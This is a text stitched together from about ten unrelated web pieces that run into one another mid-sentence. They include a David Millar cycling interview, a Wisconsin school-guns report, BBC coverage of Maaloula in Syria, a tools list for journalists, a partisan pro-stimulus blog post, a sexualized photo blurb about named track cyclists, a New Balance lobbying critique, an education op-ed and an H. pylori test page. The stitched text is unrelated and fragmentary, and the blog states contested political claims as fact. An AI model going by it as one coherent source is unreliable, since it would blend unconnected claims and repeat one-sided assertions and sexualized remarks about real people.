Millar, it's true, is a rider who divides opinion, certainly among followers of cycling in the UK. For each fan of the sport here who views him as someone who has admitted his mistakes in doping and is now helping lead the fight against drugs from inside the peloton, there seems to be another who believes he crossed a line beyond which their should be no path back to the sport, and no forgiveness.
Now a member of the World Anti Doping Agency’s athlete panel, he is frequently quoted in the media on doping, both generally and in relation to his own experience such as when he was chosen to ride for Team GB at London 2012 after the ending of the British Olympic Association’s lifetime ban, a decision that caused no end of controversy.
The focus on his past all too often overshadow the fact that Millar is also one of the country’s best ever road cyclists – the first Briton to wear the leader’s jersey in all three Grand Tours, something only Bradley Wiggins has emulated to date, and one who uniquely has won stages of the Tour de France more than a decade apart.
You can read the full interview, including further background, here.
Do you think that the influx of technology and innovation in the sport, that we’ve seen over the past four or five years, marks a different attitude towards performance; that doping is no longer the answer and there are other (legal) ways to gain an advantage?
It’s all unified. The Anglos have brought in the biggest leap forward, we have a different culture when it comes to cycling, we see it as a technological sport; Europeans have seen it as a purely physical sport.
Where there are machines, and bicycles are machines, there are opportunities to increase performance through research and development.
The sport as whole has realised this now, what was just an Anglo attitude has become a necessary attitude for everybody if they want to stand a chance of winning.
Do you feel that cycling neglected, or at least put the importance of technology and innovation, on the back shelf over the past twenty years because the sport had become so focused on doping, that all training and improvements were related to those practices?
Cycling is an old technological sport: unfortunately doping became the technology for a while there. I’ve had lunches with André Darrigade [holder of the record for Tour de France stage wins for a sprinter until surpassed by Mark Cavendish] when I lived in Biarritz and he’d tell me about things they were doing with their bikes and tyres in the 50s that blew us out the water in the 90s.
The sport just lost its way, it was cutting edge back in the day, it became complacent and confused, now once again it’s becoming cutting edge (the right cutting edge!), although anyone would think the UCI is totally against this considering the many ridiculous limitations they put on manufacturers and riders.
From your point of view how has the importance and influence of technology in racing and training changed throughout your career?
The importance has always been the same for me (personally). It was having this view that helped me gain so many early successes in time trials against guys who had the physical advantage from doping.
The majority of other pros (and even my team management) didn’t care about their position/wheels/gearing/skinsuits/helmets/shoe-covers: I did. At times I would buy my own equipment and risk the wrath of the team management and sponsors.
Last minute pre-race tweaking (© Simon MacMichael)
You are a rider who seems to have managed both [technology and the human aspect of cycling] very well. When you race do you still feel that the influence of technology ends somewhere and instinct takes over?
I’m a racer, always have been and always will be. I don’t have a very good, to use the Steve Peters ergo Sky terminology, ‘Chimp Management System’. This means that most of the things I do in a race are instinctive, very little is planned…
I’ll be first to admit this isn’t ideal, and there’s a part of me that is quite happy not changing it. I’m the same I was when I first raced as a teenager…only a little more windswept and interesting.
Do you think that cycling will always retain its essence no matter the technology that is introduced, or do you think that it could be significantly changed over the next generation of innovations?
If we have twenty Team Sky’s then yes, it will have lost its essence. But there is only one Team Sky and we need them in the sport to push everybody forward.
Similarly there is only one Team Garmin-Sharp, and if there were twenty of us then the peloton would be trying to find a way to race on the moon, just for a bit of fun. Cycling is a bonkers sport, it got a bit too mad the last twenty years, but we’re back to it being the right sort of mad.
Team Garmin Sharp are widely viewed as innovators, bringing new technologies and ideas in to the sport. How hard has it been to make progress happen in a very traditional world?
It’s not been easy that’s for sure! We were renegades when we arrived in 2008, we also didn’t mind being different and being laughed at.
We said we were going to be 100% clean, we were vocal against doping; no team had ever done this. It was our mission statement to change cycling and give people hope again.
We knew other riders were still doping, and we knew if we wanted to beat them we couldn’t rely on our bodies alone. We experimented with training and equipment and pre and post-race protocols.
We wore ice-vests before the Giro d’Italia TTT that we won (in 2008). We may have been laughed at when we rolled up to the start line in our vests, but nobody laughed when we won.
We earned respect, and we have led the way, to this day we have no fear to try new things, it’s part of the culture of our team. We are respected for it now, and more importantly, we’re copied.
Relaxing before the start of the 2012 Strade Bianche (© Philip Gale)
It seemed to me that a lot of the doping culture was based on generations of cyclists blindly following what others were doing without questioning the road the sport was going down, because the reality was everyone was just desperately trying to keep up with the next man.
With teams like Garmin Sharp, and Team Sky proving that by actually taking your head out of the sand and trying something else you can make a difference. Do you think that the attitude will change and all teams will start looking to innovate, or do you think that it will be a case of a small number of teams innovating and others following?
A small number of teams are innovating, many are following, and a few are unchanging. The bottom line is that if you don’t have the right people and sponsors onboard then your development is limited.
We’ve always been very careful to have sponsors who understand our philosophy, it doesn’t matter how much will there is, if the sponsor does not help in finding the way then nothing happens.
We’re very lucky with Garmin, Sharp, Castelli and Cervelo; they’re all sponsors who give us the will and the way to move forward. This isn’t by chance either; Jonathan Vaughters has never deviated from his original vision. And we have probably the smartest guy in cycling in charge of our science, Robby Ketchell. It’s a bit of dream team |
superintendent of the Wauwatosa School District.
Peter Pochowski, executive director of Wisconsin School Safety Coordinators Association, declined to comment on the bill until he could read it. But he questioned whether introducing guns into schools is a good idea.
"There are other things they should be doing first — like locking their doors," Pochowski said of the assertion by some that guns would make schools safer. "There are lots of schools around the state that don't lock their doors. Before we start arming people, I think the state should mandate that schools lock their doors."
Rep. Jesse Kremer (R-Kewaskum) is backing the bill. If some teachers were allowed to carry guns, they could fight back if their classrooms were attacked, he said.
"Right now, it's a soft target — no one's carrying," he said of schools.
Kremer promoted a "campus carry" bill in the fall that would have allowed students and faculty to carry guns in university and college buildings. Leaders said they would not advance that measure, but Kremer said he hoped the one for K-12 schools would get traction.
Time is running out for backers of the measure. Assembly Speaker Robin Vos (R-Rochester) has said he wants to wrap up the session in February. Both houses are expected to be completed with their work for the year by March.
As Senate president, Lazich gets to choose which committee will get the bill. That means she can make sure it gets a prompt hearing, which is needed before the bill can get a floor vote.
In the Assembly, Vos will decide what to do with the bill. Rep. Joel Kleefisch (R-Oconomowoc) said he would promptly hold a hearing on the bill if it were assigned to the Assembly Criminal Justice Committee he chairs.
Patrick Marley reported for this story in Madison and Annysa Johnson in Milwaukee. Mary Spicuzza in Milwaukee contributed to this report.Enlarge By Jeff Willhelm, The Charlotte Observer via AP The billboard on N.C. 150, west of Mooresville, N.C., near Lake Norman, emits the smell of black pepper and charcoal to promote a new line of beef available at the Bloom grocery chain. A high-powered fan at the bottom of the billboard spreads the aroma by blowing air over cartridges loaded with fragrance oil. (AP Photo/The Charlotte Observer, Jeff Willhelm) MOORESVILLE, N.C. (AP) It's not just the picture of beef on a new billboard in North Carolina that tries to catch drivers' attention, it's the aroma coming from the sign. The billboard on N.C. 150 in central North Carolina emits the smell of black pepper and charcoal to promote a new line of beef available at the Bloom grocery chain. Bloom is part of the Salisbury, N.C.-based Food Lion chain. The billboard shows a fork piercing a piece of meat. A Bloom spokeswoman says the billboard will emit scents from 7 a.m. to 10 a.m. and 4 p.m. to 7 p.m. every day until June 18. A high-powered fan at the bottom of the billboard spreads the aroma by blowing air over cartridges loaded with fragrance oil. _ Copyright 2010 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read moreImage caption The fighting in Maaloula has attracted international attention
The rebel attack earlier this month on the Syrian village of Maaloula heightened worries that the conflict there is becoming increasingly sectarian, with some members of the historic Christian community there fleeing and saying churches had been desecrated. However, some of the residents the BBC has spoken to have challenged this narrative.
The violence in the village earlier this month centred around a pro-government checkpoint set up at the southern entrance of the village by the military, with some members from the National Defence Force, a newly-formed militia of community members, mainly Alawites and Christians.
Rebel fighters say they had had control over the northern side of Maaloula, on top of the Qalamoun mountain, for the last eight months.
There had been some rounds of fighting around the village in the last few months, but the world's attention was only drawn to Maaloula on 5 September, when a fighter affiliated to the jihadist al-Nusra Front drove up to the check point and blew himself up, killing several soldiers and pro-government militiamen.
A number of armed men then entered the St Takla monastery in the north of the village and asked the nuns there whether there were any government soldiers hiding there.
Image caption The BBC reached one of the nuns who has remained in the village's St Takla monastery
"There were around 20 of them. They looked like Islamists, but they did us no harm," one of the nuns told the BBC a few days after the incident.
"They told us they were after Bashar al-Assad and his army, not Christians," the nun explained.
Then the armed men returned to the monastery, which is home to nine nuns and 35 others, children and elderly people cared for by the nuns. They all stayed in Maaloula, even during the intense fighting.
On their second visit, the nun explains, the men asked the nuns to make a video statement to the effect that they hadn't been harmed or attacked by the rebels, which was then posted on YouTube.
The rebels then left their arms outside the monastery and climbed up to film the village from above in an attempt to prove that they left without causing damage or attacking the churches, according to the nun the BBC spoke to.
Doubts over timing
Image caption The funeral for three Christians killed in Maaloula took place in Damascus
The attack resulted in the death of three residents of the village and most of Maaloula's residents have now fled the violence to Damascus.
Later on, there were increasing exchanges of fire between the two sides.
Residents of Maaloula called on the army to come and protect them but as one resident said: "The army betrayed us and sold us to the media."
The army arrived in Maaloula on Saturday 7 September and only stayed for a few hours, pulling out and allowing the rebels to enter again, the resident - who wished to remain unnamed - told the BBC.
Questions have been raised of the timing of the attack as it happened only two days before a prayer for peace was due to take place in Maaloula in response to a call by Pope Francis for a day of fasting and prayer worldwide in aid of peace in Syria.
It also coincided with what looked like the run-up to an imminent US strike against Syria.
Amer al-Qalamouni, the spokesman for Ahrar al-Sham and Qalamoun Liberation front, a group of non-Islamist fighters affiliated with the Free Syrian Army, says the timing of the attack only benefited the regime's narrative.
"The situation was going on for months, but suddenly the al-Nusra Front decided to attack the checkpoint," Mr Qalamouni told the BBC.
I told the rebels: 'If you go on to every village and there are battles and lives lost, then you are not going to get rid of Bashar al-Assad. You need to sit and talk to find a solution.' Nun in Maaloula's St Takla monastery
"Members of Ahrar al-Sham and Qalamoun Liberation Front then participated in the clashes. The aim was never an attack against Christians but to deal with the checkpoint itself," he goes on.
Mr Qalamouni said that he thought the Islamists of the al-Nusra Front had used the opportunity send a message to the West that they had no need of Western intervention.
History of coexistence
The fighting in Maaloula is the first such attack on a notable Christian community since the start of the uprising.
Residents of many Christian villages around Homs and Hama have been fleeing the violence along with members of other communities, but had not up until now been attacked themselves.
Like many villages and cities across Syria, Maaloula has been home to different religious communities who have lived in coexistence for decades.
Famously, it is one of three villages in Syria where Aramaic, the language of Jesus Christ, is still spoken.
St Takla's monastery has always been a home for orphans from both Christian and Muslim communities.
Image caption In calmer times Maaloula would celebrate the Day of Cross in September
Every September, Syrians of all religions have participated in the Day of the Cross festival in Maaloula. Muslims would attend prayers in the church and women with headscarves would light candles there.
After the long day of celebration and a parade through the village, the evening's festivities would begin with a climb up the mountain.
Later fires would be lit and songs sung to guitar music until sunrise.
But today Maaloula has been subjected to the flame of war that has burnt so many parts of Syria.
The nun that the BBC reached in St Takla's monastery said she believed Syria's Christians were not the target of the violence but that they were becoming caught in the crossfire.
She says she had urged the rebels who came to the monastery to negotiate with the regime.
"I told them: 'If you go on to every village and there are battles and lives lost, then you are not going to get rid of Bashar al-Assad. You need to sit and talk to find a solution.'"Several months ago, while working on a pitch for a tech site, I had to interview two attorneys, parse through a 47-page legal document, research three separate legal rulings, and transcribe 45 minutes of audio—all in the span of just a few hours so I could hit my deadline.
Whenever writers have to handle too much work near the finish line, that’s when mistakes happen. If you’re not careful, that type of scenario can lead to embarrassing correction notes.
Fortunately, my story didn’t turn into a deadline disaster. How, you ask? I save time—and stay sane under the gun—by using some excellent shortcuts that can shave hours off my research and help me verify the accuracy of my information.
Here are seven of the best tools for getting your work done under the wire.
Quimbee is not an official legal resource for writers; it’s actually a CliffsNotes-style tool for law students, full of case briefs, video lessons, and educational courses.
I use it to get up to speed on the legal knowledge I need for posts when dealing with tight deadlines. Sometimes I have about eight tabs open and am referring to multiple rulings and assorted PDFs, so I go to Quimbee and peruse the legal briefs. While other briefs online are written in complicated and confusing language, Quimbee sums up case law in clear language that’s easy to understand. Not only does the service save me time, it also makes me confident that I haven’t glossed over any important details.
Quimbee’s content is fairly broad, so those highly specific questions will probably go unanswered, and you do have to pay a monthly fee of about $20 to access. But the site can save you when you need last-minute help. Unless you’re friends with a lot of lawyers who can answer your harried texts, you should check out what Quimbee has to offer.
Any time you’re stressed for time when writing about fields like health or science, it’s easy to let your guard down and make mistakes that could seriously harm your readers. If the dizzying array of health claims online makes your head spin, the Examine.com Research Digest might help.
The website is a leading resource on nutritional supplements, but the digest breaks down individual studies on nutrition and supplements in accessible language. Each monthly issue has eight reviews of studies that came out over the previous 90 days. Research Digest is usually $29 per month, but journalists may be able to get free access. Just email carolyn@examine.com with your credentials and tell her Yael sent you.
Public records requests are absolutely crucial for adversarial reporting that leads to increased government transparency and accountability. Unfortunately, filing these requests is a pain in the ass. However, MuckRock keeps the process moving along, making record requests easy by helping you file, track, and share your requests. The fee is reasonable—you can pay $20 per month to file four requests or subscribe for $40 per month if you plan on filing a lot of requests.
The system helps you save time searching for contact information for government agencies and automates follow-up queries for you. Plus, all of the requests and responses are sent and received via MuckRock, which keeps things nice and organized within its interface You can even use its mailing address if you’d like to keep yours private.
The service also makes it easy for you to link to your docs when writing an article about them, as I did with this Vice story based on a single FOIA request.
If you’re racing against the clock, coming up with the perfect synonym for that term you’ve used three times in two paragraphs suddenly becomes a lot harder. WordHippo not only helps you find antonyms and synonyms, but also related adjectives, adverbs, or nouns for words you pick. When I want to use words like “demonstrate” or “indicate” over and over again, or repeat a verb that’s already in a pull quote, I go to WordHippo for new example. It can even help with translations. Plus, its mascot is a pink hippo—which is obviously a good sign.
There are a lot of reasons to love Muck Rack: weekly tweetchats, free portfolios, tools to see who shared your link, Director of Product Strategy Rob Shapiro giving out whiskey at conferences. But my favorite resource that Muck Rack offers is a daily snapshot of trending topics, which I can quickly glance at each morning to see if any stories in my beat are on other people’s radars… or if there are any articles I overlooked during my reporting. I also use this to see if there are any trending stories I should be pitching before they’re yesterday’s news.
Nuzzel is one of the tools I use the most when putting together news roundups and making sure I’m up to date. My editors expect me to have my finger on the pulse of what’s going on in my beats, and even though I’d love to be on social media all day, it’s easier to keep track of everything with a little help. Nuzzel, available for free on both iOS and Android, sorts through posts shared by your friends and lets you filter by the time or number of people who shared them. You can even look at specific links shared by people on your private or public Twitter lists.
After one too many embarrassing errors, I started using a makeshift version of Steve Buttry’s accuracy checklist, which has helped me quash mistakes before the post went live. (For me, that’s mostly misspelling proper nouns, and now the world will never know which ones I would’ve gotten wrong.) I’ve found that if you have a resource you check after every draft, it’s a lot easier to fix your copy before you submit it than it is to try to get editors to make corrections after the fact… and it may well save you from the dreaded correction italics.
Got any other resources we should know about? Let us know on Twitter @yaelwrites and @TheFreelancer with your best suggestions.An explosion of private debt, enabled by financial deregulation and lax enforcement of rules during the Bush years created a financial bubble similar to the one that triggered the Great Depression. When the bubble burst private debt was rapidly destroyed and credit lines were slashed. The destruction of private debt was massively deflationary. The Federal Reserve tried to stimulate lending by slashing interest rates to banks to zero, but that was not enough to offset the destruction of money caused by the collapse of housing prices and the debt bubble. President Obama and the Democratic Congress of 2009-10 prevented another Great Depression by public spending which saved state jobs, primarily jobs for teachers, police, and firefighters. Saving those jobs and funding new jobs to build and repair infrastructure stopped the deflationary spiral the economy was entering. President Obama and Democrats have successfully reduced the total public and private debt of the United States by 4 trillion dollars while getting unemployment back down to 7.8% against strong conservative Republican opposition.Republicans would have brought on another Great Depression if they had been allowed to implement their plan to cut federal government spending.
Total indebtedness including that of federal and state governments and consumers has fallen to 3.29 times gross domestic product, the least since 2006, from a peak of 3.59 four years ago, according to data compiled by Bloomberg. Private- sector borrowing is down by $4 trillion to $40.2 trillion.
Second, money spent on Iraq doesn’t stimulate the economy at home. If you hire a Filipino contractor to work in Iraq, you don’t get the multiplier effect of someone building a road or a bridge in Missouri. Third, this war, unlike any other war in American history, has been entirely financed by deficits. Deficits are a worry because, in the end, they crowd out investment and pile up debt that has to be paid in the future. That hurts productivity because little is left over either for public-sector investment in research, education and infrastructure or private-sector investment in machines and factories. Until very recently, we haven’t sharply felt these three factors depressing the economy because the Federal Reserve Bank responded with the attitude that they must keep the economy going no matter how much President Bush spends on the Iraq war. Seeing a weak economy, they kept interest rates low, flooded the economy with liquidity and looked the other way when bad home-lending practices were shoveling money out the door. Regulation was lax. The spigot was wide open. More than $1.5 trillion was taken out of houses in mortgage equity withdrawals alone over the past five years! That is a huge amount of money to be spent. At the same time, the U.S. savings rates plummeted to zero. So everything that was being spent, from rebuilding Iraq to redecorating the home, was on borrowed money. All the problems were papered over by borrowing. The bubble ultimately burst when the ratio of housing prices to income -- that is, what people whose incomes are falling could afford -- was no longer sustainable. Now that we can see beyond the bubble, the economic weakness caused by the Iraq war will be fully exposed. And we’ll pay for it in spades -- you might say, with interest.
As a recent study by the Economic Policy Institute showed, these job cuts ripple through the economy, also harming private sector job creation. In fact, EPI estimates that public sector job cuts have likely cost the private sector 750,000 jobs:
The economic “multiplier” of state and local spending (not including transfer payments) is large – around 1.24. This means that for every dollar cut in salary and supplies of public-sector workers, another $0.24 is lost in purchasing power throughout the rest of the economy. Teachers and firefighters stop going to restaurants and buying cars if they’re laid off, which reduces demand for waitstaff and autoworkers and so on. Add these two influences together (supplier jobs and jobs supported by this multiplier impact) and roughly 0.67 private sector jobs are lost for every public sector job cut. This means that the public sector being down 1.1 million jobs has likely cost the private sector 751,000 jobs.
~~~
State layoffs of teachers were starting to destroy public education
According to a new report from the Center on Education Policy, the stimulus was successful at saving education jobs as well, preventing layoffs in at least 31 states: – ARRA grants helped to stabilize school districts’ budgets at a time of shortfalls in state and local funding. In roughly 52% of school districts with funding decreases for 2009-10, State Fiscal Stabilization Fund grants compensated for a majority of the decrease; in another 45% of these districts, SFSF money compensated for at least a portion of the decrease. – ARRA saved educators’ jobs and reduced funding shortfalls in K-12 education. In 2010, approximately 69% of districts reported that they used SFSF funds to save or create jobs for teachers and other school personnel. In 2011, 31 of 35 states surveyed reported that ARRA and Education Jobs funds saved teaching jobs, and 27 reported that these funds saved other district and school-level jobs. In addition, the majority of districts receiving ARRA supplemental funds for the Title I and IDEA programs reported using at least some of those funds to save or create jobs. Of course, this hasn’t stopped the economy from bleeding education jobs anyway. Last year alone, local governments cut 130,000 teaching jobs. In the last three years, government have shed more than 300,000 teaching jobs, as this chart (above) shows:
The sick Republican bubble economy of the Bush years was caused by massive military spending funded by debt. Three trillion dollars were sunk into the Iraq war instead of spending that money on research, education, infrastructure and saving for the retirement of the baby boom generation. In 2008 Nobel prize winning economist Joesph Stiglitz explained how Republican economics caused the Great Recession. When the bubble burst, state tax revenues plummeted. They began to slash state jobs to balance their budgets. The loss of public sector jobs devastated the private sector. About 750,000 private sector jobs were lost because of the cutbacks of state and local government jobs. This effect can be seen in the U.S. job loss figures. ( See Meteor Blades' recent post on jobs for details on unemployment figures. ) The hiring and firing of Census workers was a perfect experiment on the multiplier effect of government jobs. Census hiring started a rapid jobs recovery. When the census workers were laid off, the layoffs multiplied private sector jobs losses. If public sector jobs had been created to offset the end of the census the economy would likely have stayed on the much faster curve to recovery. A stronger stimulus would have been better but conservatives blocked additional needed government spending. If Democrats had not spent federal stimulus money to save state jobs, the economy would have collapsed like the Spanish and Greek economies did. Austerity in a recession causes a depression.President Obama's stimulus prevented a second Great Depression. He saved public education from draconian cuts. He saved our children't future. He saved American jobs. The stimulus worked. Don't let anyone tell you otherwise.
Mitt Romney plans to repeat the same economic mistakes Bush made. He would increase military spending and is threatening to involve us in more wars like Iraq. Tax cuts to the rich and the Iraq war created huge deficits and triggered the Great Recession. We would be insane to repeat Bush's economic policies and neocon belligerence. We couldn't afford it then and we can't afford it now.
President Obama and Secretary of State Clinton are on the right track - Peace through strength and diplomacy. Under Obama and Clinton the seeds of democracy have sprouted in the middle east. Mitt Romney and his belligerent neocon advisers would trample those sprouts while draining our economy. We cannot afford another debacle like Iraq.
President Obama has increased money spent on education and brought our troops home from Iraq. This is good for our troops, good for our children, good for our economy and good for our future.
The stimulus also helped spur the rapid growth of U.S. wind power which provided thousands of good new American jobs. However, Romney and the Republicans are killing wind power jobs right now by refusing to continue production tax credits.
More jobs in American wind power were lost this week, this time in manufacturing facilities in Colorado and Iowa, in the absence of a policy signal only Congress can provide: extension of the Production Tax Credit, the policy driver behind the rapid growth in U.S. jobs and manufacturing since 2005. Layoffs announced so far this week include: In Cedar Rapids, IA, Clipper Wind Power downsized its operations in reducing the company’s staff by 32%, from 550 employees to 376. In Brighton, CO, Vestas Wind Systems cut about 30 workers on Monday, leaving about 200 still employed. These cuts follow more than 90 layoffs at the company's tower plant in Pueblo, announced last week. Walker Component Group, a Denver-based cable supplier for Vestas Wind Systems, has also had to cut a portion of its workforce, reducing its staff by 15 workers to 24.
The stimulus worked. It created green jobs and increased America's energy security. And it created a regular revenue stream for farmers in the nations heartland. Wind power revenue helps our farmers, especially in drought years like this one. Mitt Romney would kill wind power jobs and Republican obstruction on renewal of the wind power tax credit is hurting America's farmers.
President Obama saved the U.S. economy and public education while building our manufacturing base and helping family farmers. GM is alive and Osama is dead. Investment in solar and wind power funded by the stimulus will build the industries we need to cut global carbon emissions and save the climate. Romney and the Republicans would ignore climate change, wreck the environment and rob our children's and grandchildren's future.
The stimulus worked. President Obama put America's economy on the right track.
Reelect President Obama.So here’s yet another massive gallery of some random track cyclists featuring some old and recent track cycling events. Check out the extremely huge German team of Stefan Nimke, Robert Foerstemann and Rene Enders as they make their way to the podium in the recent Euro track cycling championships. There’s even some bromantic action with a manly hug. I love track cycling for the minute details like hot track cyclists in full skinsuit gear hugging other cyclists and having a weird hard on. Also do check out another hot team and I’m referring to the Polish team of Maciej Beilecki, Kamil Kuczinski and Damien Zielinski. They’re another hot and formidable team with rugged bodies that look absolutely hot in their fiery red skinsuits as well as in their dark blue skinsuits. And is it just me or does Kamil Kuczinski seem to be having a hard time hiding his bulges. There’s a reason why I love the track sprint events. 3 muscular bodies battling together against 3 other muscular bodied cyclists in a speed race is quite the event to drool. Not only is the lycra action hot, the action is also sizzling. Anyway, let’s not forget the Dutch cylists who still look as hot as ever. Teun Mulder has never looked this hot in his career. His body seemed to have undergone quite a transformation from the time he made his debut in the international track scene. Aaah, yes even in the absence of Theo Bos, Mulder, van den Berg, and the rest of the Dutch track cycling team make up quite well. Let’s also not forget the incredibly hot French team. I swear Francois Pervis has never been this hot this cycling season, and Kevin Sireau as well. In the end though, Michael D’ Almeida is still the Frenchman to beat. He is quite possibly the hottest one out there. Unfortunately, not quite that many photos available of the french team. Oh well, check out the gallery below.New Balance announced this week that it will intensify its lobbying efforts against the Trans-Pacific Partnership after the Department of Defense refused to accept the company’s bid to become the exclusive supplier of shoes for new military recruits. The news has gotten attention because it hints at how the Obama administration may be bribing companies to support the TPP. That’s an interesting angle, but the incident also highlights New Balance’s long history of rent-seeking and how they intentionally adopt inefficient business practices to curry favor with the government.
Unlike its global competitors, New Balance assembles shoes in the United States. They have a handful of factories in New England that employ about 1400 people. Only about 25% of New Balance shoes sold in America are assembled in its U.S. factories (the rest are imported), and its Made-in-America shoes are manufactured from approximately 70% domestic material.
Because New Balance is less dependent on trade than its competitors, it benefits from U.S. tariffs on shoes. Those tariffs range from 8% to 60%, with the higher rates reserved for cheaper shoes. The tariffs directly cost American consumers and businesses over $2 billion per year.
Even though New Balance imports most of the shoes it sells, it has lobbied aggressively to maintain those tariffs—likely because the tariffs impose a relatively greater strain on its competitors. The TPP would eliminate tariffs on shoes from Vietnam, where Nike employs over 350,000 people.
But New Balance’s business model doesn’t depend only on taxing American consumers for doing business with their competitors. They also want to leverage their American manufacturing as a way to get preferences in government procurement. That includes using a 75-year-old law to force the Pentagon to buy only New Balance shoes for new recruits.
Under the 1941 Berry Amendment, the Department of Defense may only purchase certain products if they are “wholly of US origin.” New Balance’s American shoes, remember, are only 70% American, so the Pentagon has been able to provide running shoes for new recruits free of the Berry Amendment’s sourcing restrictions.
A few years ago New Balance decided to try making a 100% American shoe in hopes that the military would then be forced by law to buy only that shoe for all new recruits. According to the Boston Globe, New Balance “bought a contraption that makes midsoles — a key missing link in its domestic supply chain — and installed the machine, which is the size of a school bus, at its Brighton plant about two years ago in anticipation of the military work.”
However, New Balance’s efforts to use protectionist laws and its leverage in Congress haven’t made the Pentagon actually want to buy its shoes. Military officials were able to avoid New Balance’s trap by relying on a practical exception to the Berry Amendment that applies when U.S made products “cannot be acquired as and when needed in a satisfactory quality and sufficient quantity at U.S. market prices.” The Boston Globe reports:
The problem, according to the Department of Defense, is that none of the three New Balance shoes offered for consideration met the agency’s cost requirements and one didn’t meet durability standards.
New Balance’s vice president of public affairs says the problem is President Obama and excessive bureaucracy:
We were assured this would be a top-down approach at the Department of Defense if we agreed to either support or remain neutral on TPP. [But] the chances of the Department of Defense buying shoes that are made in the USA are slim to none while Obama is president. … They’ve put up roadblock after roadblock. Our shoes are ready to go. It’s a bureaucracy run amok.
So, to recap, New Balance went and made their operations even less efficient in an attempt to get access to sweet government money, but the government agency they wanted to force into buying their product resisted. Now that that avenue seems to have dried up, they are going to stop playing nice on the TPP, redoubling their efforts to prevent the elimination of regressive shoe tariffs.
It’s all an excellent example of how companies that rely on government-granted privileges, in this case through protectionist tariffs, learn to make rent-seeking a key part of their business model.At the beginning of the new millennium, the international community made a commitment to achieve universal primary education for all boys and girls. Today, 15 years later, we find huge gaps between these commitments and reality.
What is the millennium development goal on education all about? Read more
Across the world, 58 million children still don’t have access to schools, particularly in sub-Saharan Africa and south Asia. Millions more fail to graduate, or fail to learn what they need toparticipate in society meaningfully.
Capitalising on the inability of governments to cope with rising demands on public learning, private education providers are mushrooming. I see this not as progress, but as an indictment of governments that have failed to meet their obligation to provide universal, free and high-quality education for all.
Education is not a privilege of the rich and well-to-do; it is the inalienable right of every child. The state must discharge its responsibility as guarantor and regulator of education as a fundamental human entitlement and as a public cause. The provision of basic education, free of cost, is not only a core obligation of states but also a moral imperative.
Privatisation cripples the notion of education as a universal human right and – by aggravating marginalisation and exclusion – runs counter to the fundamental principles of human rights law. It creates social inequity.
Education is not a privilege of the rich and well-to-do; it is the inalienable right of every child
The admission policy in private schools is based on the ability to pay, and on the socio-economic background of parents. As a result, private schools lack the diversified system of learning and cultural plurality that is so necessary today. They promote market economy values rather than the humanist mission of education.
Disturbingly, some in the international community are pushing for greater privatisation in education. The World Bank, a longstanding supporter of the approach, has recently been joined by other international bodies. At the end of 2014, the African Development Bank, the UN Economic Commission for Africa, the African Union commission, and the UN Development Programme released a report promoting increased private sector involvement in education. The study concluded that “Africa must build a vibrant private sector that supports the development of a dynamic primary education system”. This call has been echoed by some government officials in Africa and elsewhere.
In the 1980s and 90s, when developing countries first made significant cuts to their public health and education spending under structural adjustment, international financial institutions, along with the largest donors, promoted user fees and increased private sector service delivery. The World Bank’s current policy of encouraging and supporting profit-seeking multinationals that provide education is a matter of serious concern, given the devastating impact this strategy has on the right to education.
As a recent Oxfam briefing paper has suggested, governments should not allow low-fee private schools, and should restore education as an essential public service. As private education becomes big business, learning must be protected from the forces of privatisation.
According to a study on private education by the UK’s Department for International Development (DfID), a potentially very large number of low-fee private schools, which target poorer families in developing countries, are unregistered. These schools save costs by hiring ill-trained teachers and running large classes in substandard school buildings. Such “edu-businesses”, as they have come to be known, are an unsatisfactory replacement for the good public education governments should be providing.
Huge commercial publicity often tempts parents to opt for private schools in the expectation that their children will receive a better education. They believe that private schools are more efficient, and that competition improves outcomes.
However, such beliefs are rarely supported by evidence. The DfID study, for instance, suggests private schools do no better than state ones.
Uganda’s success in universal primary education falling apart | Alon Mwesigwa Read more
The cost of privatising education lies not just with school fees but also with the damage done to the public good. Fees, however small, hit the poorest and most vulnerable hardest. Sometimes, this means the oldest son receives an education while daughters stay at home. Inequalities in society grow when the poorest are excluded.
In the worst cases, corruption undermines the system. Headteachers may require special payments to accept students, and teachers may charge for private tutelage. We must constantly remind states of their obligation under human rights law to establish conditions and standards for private education providers, and of the need to maintain a transparent and effective system to monitor these standards, with sanctions for abusive practices.
Parents, community, teachersand students must be encouraged to speak out against the commercialisation of education, acting as vigilant observers and reporters of abusive practices. Governments must empower human rights institutions, watchdogs and other mechanisms to investigate alleged violations of the right to education.
I’m not saying traditional public schools are the only solution. Community schools, locally organised and run with state support, can meaningfully complement government efforts to provide education and are an alternative to privatisation.
Ambitious goal of universal education needs $22bn annually | Mark Anderson Read more
Governments must face the education challenge head on. Investment in education must be prioritised, using at least 4% of GDP, and reform priorities should be established with assistance from civil society and international donors, development banks and the UN.
Leaving these challenges to the private sector may seem easier. But when we ask what kind of world we want, we do not say one for those who have, and another for those who don’t. Let’s not create education systems that promote inequality – there is enough of that already. The international development agenda must aim to eliminate private schools, not champion them.If you are on proton pump inhibitor medications, it is recommended that you wait 2 weeks after stopping these medications before getting an H. pylori stool test.
H. pylori Stool Test - More Information
The H. pylori test, sometimes known as a H. pylori stool antigen test or Helicobacter pylori test, checks for evidence of an H. pylori infection in the stool.
H. pylori, or Helicobacter pylori, is a bacteria typically found in the stomach. H. pylori is a gram-negative bacteria that has four or more appendages (flagella) that enable it to move easily. H. pylori also employs its flagella to burrow into the stomach lining to get away from the highly acidic parts of the stomach and help it anchor itself as the stomach is constantly moving. H. pylori also protects itself from acidity in the stomach by creating an enzyme called urease which produces ammonia to help buffer the stomach acids. Part of the damage caused by H. pylori in the gastrointestinal tract is from ammonia production as well as local inflammation from its burrowing.
According to one study, approximately half of the world's population has H. pylori in their body. While most people with H. pylori in their gastrointestinal tracts do not have symptoms, H. pylori can cause a variety of symptoms, particularly in new infections. Symptoms of an H. pylori include chronic gastritis, cramping, bloating and ulcers. Longer term, chronic H. pylori infections can increase the risk of stomach cancer secondary to ongoing inflammation of the stomach lining.
H. pylori stool testing is the preferred method and is a sensitive way to check for a Helicobacter pylori infection, monitor the response to treatment, and confirm H. pylori eradication one month after treatment has been completed. To get an H. pylori test near you, simply order online and get tested at your selected Quest Diagnostics lab. The H. pylori test report will be available for download once it is available. As can be seen on the H. pylori sample report above, a result of not detected means that no H. pylori was identified in the sample provided. Some studies also recommend |
